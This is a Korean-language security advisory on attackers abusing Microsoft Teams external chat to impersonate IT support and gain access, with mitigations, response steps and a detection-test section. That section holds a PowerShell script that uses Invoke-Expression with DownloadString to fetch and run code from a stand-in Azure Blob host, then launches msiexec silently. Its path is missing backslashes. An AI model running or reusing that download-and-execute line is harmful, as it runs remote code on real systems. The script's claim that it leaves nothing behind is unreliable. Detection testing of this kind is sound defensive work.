마이크로소프트 팀즈 외부 채팅 오용으로 초기 접근 가능

요약

위협 행위자들이 Microsoft Teams 외부 채팅 기능을 악용하여 사칭 사기 및 악성 파일을 배포하고 있습니다. 공격자들은 IT 테마의 표시 이름과 일회성 Microsoft 365 테넌트를 사용하여 합법적인 것처럼 보이고 피해자의 신뢰를 얻습니다. 접촉을 성립한 후, 그들은 자주 비싱 및 원격 모니터링 및 관리(RMM) 도구에 의존하여 직접 키보드 접근을 얻습니다.

조사

Arctic Wolf는 Microsoft Teams 외부 채팅 악용과 관련된 400건 이상의 사건을 분석했습니다. 조사는 메일 폭격이 긴급성을 만들어낸 후 공격자들이 IT 지원을 사칭하며 Teams를 통해 피해자와 접촉하는 반복적인 패턴을 식별했습니다. 연구자들은 또한 다음과 같은 변화도 관찰했습니다 .onmicrosoft.com 테넌트에서 공격자가 제어하는 .top 도메인으로 페이로드 스테이징을 전환했습니다.

완화 조치

조직은 Teams 관리 센터에서 신뢰할 수 있는 도메인의 허용 목록으로 개방형 외부 접근 정책을 대체해야 합니다. 관리되지 않거나 Teams 소비자 계정과의 채팅을 비활성화하는 것도 권장됩니다. Quick Assist와 같은 도구를 제한하고 승인되지 않은 RMM 소프트웨어를 차단하면 후속 악용의 위험을 줄일 수 있습니다.

대응

의심스러운 외부 Teams 채팅 활동이 감지되면 조직은 요청자의 신원을 외부의 통신 채널을 통해 확인해야 합니다. 보안 팀은 ChatCreated 이벤트를 엔드포인트 및 식별 원격 측정과 연결하여 잠재적인 침해를 발견해야 합니다. 영향을 받는 호스트를 빠르게 격리하고 잠재적으로 침해된 사용자의 세션 토큰을 해제하는 것이 중요합니다.

시뮬레이션 실행

• 공격 서사 및 명령: 적의 목표는 악성 서비스를 설치하여 지속성을 얻는 것입니다. 감지를 피하기 위해, 그들은 공개 Azure Blob 저장소 컨테이너에서 페이로드를 다운로드하려고 시도합니다. 그들은 Invoke-Expression (별칭: IEX)와 URL을 결합한 PowerShell ‘원라이너’를 사용합니다. blob.core.windows.net. 스크립트가 메모리 내에서 실행되면 msiexec.exe 의 실행을 트리거하여 초기 명령에서 시스템 수준 설치까지의 체인을 완료합니다.

• 회귀 테스트 스크립트:

  # 시뮬레이션 스크립트: PowerShell 및 Azure Blob을 통한 페이로드 실행
  # 이 스크립트는 규칙이 찾고 있는 패턴을 정확히 모방합니다.
  
  $TargetUrl = "https://malicious-payload.blob.core.windows.net/downloads/installer.msi"
  $FakeIEX = "IEX"
  
  Write-Host "[+] Azure Blob URL과 함께 PowerShell Script Block 실행 시뮬레이션 중..."
  # 이 줄은 EventID 4104 로직 (IEX + blob.core.windows.net)을 트리거합니다.
  Invoke-Expression "Write-Output 'Downloading from $TargetUrl...'; $FakeIEX (New-Object Net.WebClient).DownloadString('$TargetUrl')"
  
  Write-Host "[+] MSI 실행 시뮬레이션 중..."
  # 이 줄은 EventID 4688 로직 (msiexec.exe)을 트리거합니다.
  Start-Process "msiexec.exe" -ArgumentList "/i C:WindowsSystem32setup.msi /quiet" -ErrorAction SilentlyContinue

• 정리 명령:

  # 정리: 이 시뮬레이션 스크립트는 실제 지속 파일을 생성하지 않습니다 
  # 더미 URL과 표준 시스템 MSI 경로를 사용합니다.
  Write-Host "[+] 시뮬레이션 완료. 시스템에 남겨진 아티팩트 없음."